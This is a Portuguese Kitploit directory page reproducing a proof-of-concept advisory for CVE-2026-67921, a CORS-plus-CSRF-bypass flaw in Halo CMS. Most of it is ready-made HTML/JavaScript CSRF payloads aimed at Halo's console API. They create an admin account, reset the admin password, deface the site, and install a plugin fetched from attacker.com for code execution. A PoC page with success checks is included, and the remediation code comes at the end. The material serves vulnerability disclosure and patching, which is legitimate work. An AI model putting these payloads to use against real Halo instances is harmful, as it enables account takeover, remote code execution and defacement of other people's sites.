Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
halo-cors-csrf-CVE-2026-67921 — Prova de conceito demonstrando uma combinação de configuração incorreta de CORS e bypass de proteção CSRF no Halo CMS, permitindo ataques de falsificação de solicitação entre sites para criar usuários administradores, alterar senhas, instalar plugins e modificar conteúdo. | Kitploit
Ferramentas/GitHubGitHub/unpredictable21/halo-cors-csrf-cve-2026-67921
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança Web
GitHubunpredictable21/halo-cors-csrf-cve-2026-67921

halo-cors-csrf-CVE-2026-67921

Prova de conceito demonstrando uma combinação de configuração incorreta de CORS e bypass de proteção CSRF no Halo CMS, permitindo ataques de falsificação de solicitação entre sites para criar usuários administradores, alterar senhas, instalar plugins e modificar conteúdo.

Ver Repositório
há 16 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-67921: Configuração Incorreta de CORS + Bypass de Proteção CSRF em Ataque Combinado no Halo CMS

Resumo

Existe uma vulnerabilidade crítica de ataque combinado nas versões do Halo CMS até 2.25.4 devido a duas configurações de segurança incorretas:

  1. Configuração Incorreta de CORS: A política de CORS permite * (qualquer origem) com credentials: true
  2. Bypass de Proteção CSRF: Todos os endpoints de API (/api/**, /apis/**) estão excluídos da proteção CSRF

Quando combinadas, estas permitem que um atacante realize ataques de Cross-Site Request Forgery a partir de qualquer origem, contornando a proteção da Same-Origin Policy que o CORS foi projetado para impor.

Pontuação CVSS v3.1: 9.3 (Crítica)
Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352 (Cross-Site Request Forgery) + CWE-942 (Política Cross-domain Permissiva) CVE-2026-67921

ID CVE:

Versões Afetadas

  • Halo CMS ≤ 2.25.4
  • Todas as versões com CORS habilitado e CSRF desabilitado para rotas de API

Detalhes da Vulnerabilidade

Vulnerabilidade 1: Configuração Incorreta de CORS

Arquivo: application/src/main/java/run/halo/app/security/CorsConfigurer.java

root@kitploit:~
CorsConfigurationSource apiCorsConfigSource() {
    var configuration = new CorsConfiguration();
    configuration.setAllowedOriginPatterns(List.of("*"));   // ← QUALQUER origem
    configuration.setAllowCredentials(true);                // ← Permitir cookies
    configuration.setAllowedHeaders(List.of(
        HttpHeaders.AUTHORIZATION,
        HttpHeaders.CONTENT_TYPE,
        HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN",
        HttpHeaders.COOKIE));
    configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    source.registerCorsConfiguration("/api/**", configuration);
    source.registerCorsConfiguration("/apis/**", configuration);
    return source;
}

Impacto: Qualquer site pode fazer requisições autenticadas à API do Halo com os cookies do usuário.

Vulnerabilidade 2: Bypass de Proteção CSRF

Arquivo: application/src/main/java/run/halo/app/security/CsrfConfigurer.java

root@kitploit:~
@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(
            pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
        // ← Rotas de API excluídas do CSRF!
        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
    http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .requireCsrfProtectionMatcher(csrfMatcher));
}

Impacto: Requisições de API não exigem tokens CSRF, mesmo quando autenticadas via cookies de sessão.


Mecanismo do Ataque

Por Que Esta Combinação é Perigosa

ProteçãoIsoladaCombinada
CORS *Bloqueia credenciais (imposto pelo navegador)Credenciais permitidas!
Sem CSRFProtegida pela Same-Origin PolicyContornada pelo CORS!
ResultadoSeguroCSRF Total

O Fluxo do Ataque

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  Atacante hospeda página maliciosa em evil.com              │
│  <form action="http://halo:8090/apis/..." method="POST">   │
│    <input name="..." value="...">                          │
│  </form>                                                    │
│  <script>document.forms[0].submit()</script>               │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│  Navegador da vítima visita evil.com                        │
│  → Formulário é enviado automaticamente para a API do Halo  │
│  → Navegador inclui o cookie de sessão automaticamente      │
│  → CORS: Origin * + credentials: true → Requisição permitida!│
│  → CSRF: /apis/** excluído → Nenhum token necessário!       │
│  → Requisição é bem-sucedida com os privilégios da vítima   │
└─────────────────────────────────────────────────────────────┘

Cenários de Exploração

Cenário 1: Criar Usuário Administrador

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
  <input type="hidden" name="apiVersion" value="v1alpha1"/>
  <input type="hidden" name="kind" value="User"/>
  <input type="hidden" name="metadata.name" value="hacker"/>
  <input type="hidden" name="spec.password" value="hacker123"/>
  <input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

Cenário 2: Alterar Senha do Administrador

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
  <input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>

Cenário 3: Instalar Plugin Malicioso (RCE)

root@kitploit:~
<html>
<body>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>

Cenário 4: Modificar Conteúdo do Site

root@kitploit:~
<html>
<body>
<script>
  // Alterar título do site
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>

Prova de Conceito

Teste Básico de CSRF

Crie csrf-test.html:

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>Esta página tentará modificar as configurações do Halo quando carregada.</p>

<script>
// Testar CSRF modificando o título do site
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;

xhr.onload = function() {
    if (xhr.status === 200 || xhr.status === 204) {
        document.body.innerHTML += '<p style="color:green">SUCESSO! O ataque CSRF funcionou.</p>';
    } else {
        document.body.innerHTML += '<p style="color:red">Falhou: ' + xhr.status + '</p>';
    }
};

xhr.send(JSON.stringify({
    "site": {
        "title": "Ataque CSRF Bem-Sucedido - " + new Date().toISOString()
    }
}));
</script>
</body>
</html>

Etapas de Verificação

  1. Abra csrf-test.html em um navegador enquanto estiver conectado ao Halo
  2. Verifique se o título do site foi alterado
  3. Verifique no console do navegador os cabeçalhos CORS:
root@kitploit:~
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Análise de Impacto

AtaqueImpactoGravidade
Criar usuário administradorComprometimento total do sistemaCrítica
Alterar senha do administradorTomada de contaCrítica
Instalar plugin maliciosoExecução Remota de CódigoCrítica
Modificar conteúdoDesfiguraçãoAlta
Excluir dadosPerda de dadosAlta
Roubar dadosDivulgação de informaçõesAlta

Remediação

Correção 1: Restringir Origens CORS

root@kitploit:~
// Substituir curinga por origens específicas
configuration.setAllowedOriginPatterns(List.of(
    "https://yourdomain.com",
    "https://admin.yourdomain.com"
));

Correção 2: Habilitar CSRF para Rotas de API

root@kitploit:~
// Remover exclusões de API do matcher CSRF
var csrfMatcher = new AndServerWebExchangeMatcher(
    CsrfWebFilter.DEFAULT_CSRF_MATCHER,
    new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));

Correção 3: Usar Autenticação com Token Bearer

Para endpoints de API, prefira autenticação com token Bearer em vez de cookies de sessão, que não são vulneráveis a CSRF.


Referências

  • Fornecedor: https://github.com/halo-dev/halo
  • CWE-352: https://cwe.mitre.org/data/definitions/352.html
  • CWE-942: https://cwe.mitre.org/data/definitions/942.html

Linha do Tempo

  • Data da Descoberta: 2026-07-10
Baixar ferramenta